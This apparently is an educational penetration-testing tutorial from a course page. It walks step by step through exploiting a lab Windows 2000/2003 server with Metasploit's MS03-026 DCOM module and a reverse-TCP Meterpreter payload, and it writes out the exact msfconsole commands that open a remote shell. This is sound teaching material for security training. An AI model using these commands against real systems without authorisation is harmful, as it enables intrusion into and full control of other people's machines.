[Skip to main content](https://lms.alnafi.com/xblock/block-v1:alnafi+DCCS102+2025_DCCS+type@vertical+block@af3cc1277cb244b2b8a7c37f3bf36057?exam_access=&recheck_access=1&show_bookmark=0&show_title=0&view=student_view" \l "main)

**Exploit Windows Server 2003 With Metasploit**

This is a very detailed step-by-step tutorial on How to pentest a Remote PC (Windows 2000/2003 server) with Metasploit Framework. We’ve used Kali Linux 2017.1 and Windows 2000 servers in a virtual environment (VMware Workstation).

The ease of pen testing is scary and readers and sysadmins are advised to update their Windows 2000/2003 server to the latest patch/service pack and use additional antivirus, and firewalls to protect them from a similar situation.

Metasploit is simple to use and is designed with ease of use in mind to aid Penetration Testers. We will be taking you through this demo in Kali Linux, so go ahead and download that if you don’t already have it:

https://www.kali.org/downloads/

The Metasploit framework has three work environments,

1. The msfconsole,
2. The msfcli interface and
3. The msfweb interface.

However, the primary and most preferred work platform is “msfconsole“. It is an efficient command-line interface that has its own command set and environment system. Before executing your exploit, it is useful to understand what some Metasploit commands do.

Below are some of the commands that you will use most. A graphical explanation of their outputs would be given as and when we use them while exploiting some boxes in the later part of the tutorial.

1. search: Typing in the command “search” along with the keyword lists out the various possible exploits that have that keyword pattern.
2. show exploits: Typing in the command “show exploits” lists out the currently available exploits. There are remote exploits for various platforms and applications including Windows, Linux, IIS, Apache, and so on, which help to test the flexibility and understand the working of Metasploit.
3. show payloads: With the same “show” command, we can also list the payloads available. We can use “show payloads” to list the payloads.
4. show options: Typing in the command “show options” will show you options that you have set and possibly ones that you might have forgotten to set. Each exploit and payload comes with options that you can set.
5. info: If you want specific information on an exploit or payload, you can use the “info” command. Let’s say we want to get complete info on the payload “winbind“. We can use “info payload winbind“.
6. use: This command tells Metasploit to use the exploit with the specified name
7. set RHOST: This command will instruct Metasploit to target the specified remote host.
8. set RPORT: This command sets the port that Metasploit will connect to on the remote host.
9. set PAYLOAD: This command sets the payload that is used to a generic payload that will give you a shell when a service is exploited.
10. set LPORT: This command sets the port number that the payload will open on the server when an exploit is exploited. This port number must be a port that can be opened on the server (i.e.it is not in use by another service and not reserved for administrative use), so set it to a random 4-digit number greater than 1024, and you should be fine. You’ll have to change the number each time you successfully exploit a service as well.
11. exploit: Exploits the service. Another version of the exploit reloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console
12. help: The “help” command will give you basic information on all the commands that are not listed out here.

**Virtual Lab Setup:**

Victim Machine –

* OS Name: Microsoft Windows Server 2000 Professional Edition
* IP Address: 192.168.220. 141

Attacker (Our) Machine –

* OS Name: Kali Linux 2017.1
* IP Address: 192.168.220.135

The only information provided to us about the remote server is that it is a Windows 2000 Server and the Objective is to gain shell access to this remote server. The very first step is to perform scanning on the remote server with the help of Nmap which is the most popular [port scanning tool](https://www.yeahhub.com/5-books-considered-best-nmap-books-ever-written/).

Task: Perform a Nmap scan of the remote server i.e on 192.168.220.141

We notice that there is port 135 open. Thus we can look for scripts in Metasploit to exploit and gain shell access if this server is vulnerable.

Now Next step is to use Metasploit Framework which is pre-installed in your Kali Linux machine and can be found by below path:

Application -> 08 – Exploitation Tools -> Metasploit Framework

Or you can also open Metasploit Framework by typing “msfconsole” in your terminal. During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the display as shown below screenshot.

Now, we know that port 135 is open so, we search for a related RPC exploit in Metasploit. To list out all the exploits supported by Metasploit we use the “show exploits” command. This exploit lists out all the currently available exploits.

As you may have noticed, the default installation of the Metasploit Framework comes with 1682 exploits and 498 payloads, which is quite an impressive stockpile thus finding a specific exploit from this huge list would be a tedious task. So, we use a better option.

You can either visit the link <https://www.rapid7.com/db/modules/> or another alternative would be to use the “search” command in Metasploit to search for related exploits for RPC.

In msfconsole type “search dcerpc” to search all the exploits related to dcerpc keyword as that exploit can be used to gain access to the server with a vulnerable port 135. A list of all the related exploits would be presented on the msfconsole window.

Now that you have the list of RPC exploits in front of you, we would need more information about the exploit before we use it. To get more information regarding the exploit you can use the command “info exploit/windows/dcerpc/ms03\_026\_dcom” which provides information such as available targets, exploit requirements, details of the vulnerability itself, and even references where you can find more information.

The command “use” activates the exploit environment for the exploit. In our case, we would use the command “use exploit/windows/dcerpc/ms03\_026\_dcom” to activate our exploit.

From the above screenshot, it is noticed that after the use of the exploit ms03\_026\_dcom the prompt changes from “msf>” to “MSF exploit(ms03\_026\_dcom) >” which shows that we have entered a temporary environment of that exploit.

Now, we need to configure the exploit as per the need of the current scenario. The “show options” command displays the various parameters which are required for the exploit to be launched properly.

In our case, the RPORT is already set to 135 and the only option to be set is RHOST which can be set using the “set RHOST” command.

We enter the command “set RHOST 192.168.220.141” and we see that the RHOST is set to 192.168.220.141

The only step remaining now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the “show payloads” command. As shown in the below screenshot, the “show payloads” command will list all payloads that are compatible with the selected exploit.

For our case, we are using the reverse TCP meterpreter which can be set using the command, “set PAYLOAD windows/meterpreter/reverse\_tcp” which spawns a shell if the remote server is successfully exploited.

Now again you must view the available options using “show options” to make sure all the compulsory sections are properly filled so that the exploit is launched properly

We notice that the LHOST for our payload is not set, so we set it to our local IP i.e. 192.168.220.135 using the command “set LHOST 192.168.220.135“.

Now that everything is ready and the exploit has been configured properly it’s time to launch the exploit.

The “exploit” command launches the attack, doing whatever it needs to do to have the payload executed on the remote system.

The above screenshot shows that the exploit was successfully executed against the remote machine 192.168.220.141 due to the vulnerable port 135. This is indicated by a change in prompt to “meterpreter >“.

Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server.

We can use the “help” command to see which all commands can be used by us on the remote server to perform the related actions as displayed in the below screenshot.

Type “sysinfo” to know more about your target OS machine.

Here is the list of all [Meterpreter commands](https://www.yeahhub.com/meterpreter-commands-detail-2017-metasploit-framework/) which you can use after the successful exploitation.

P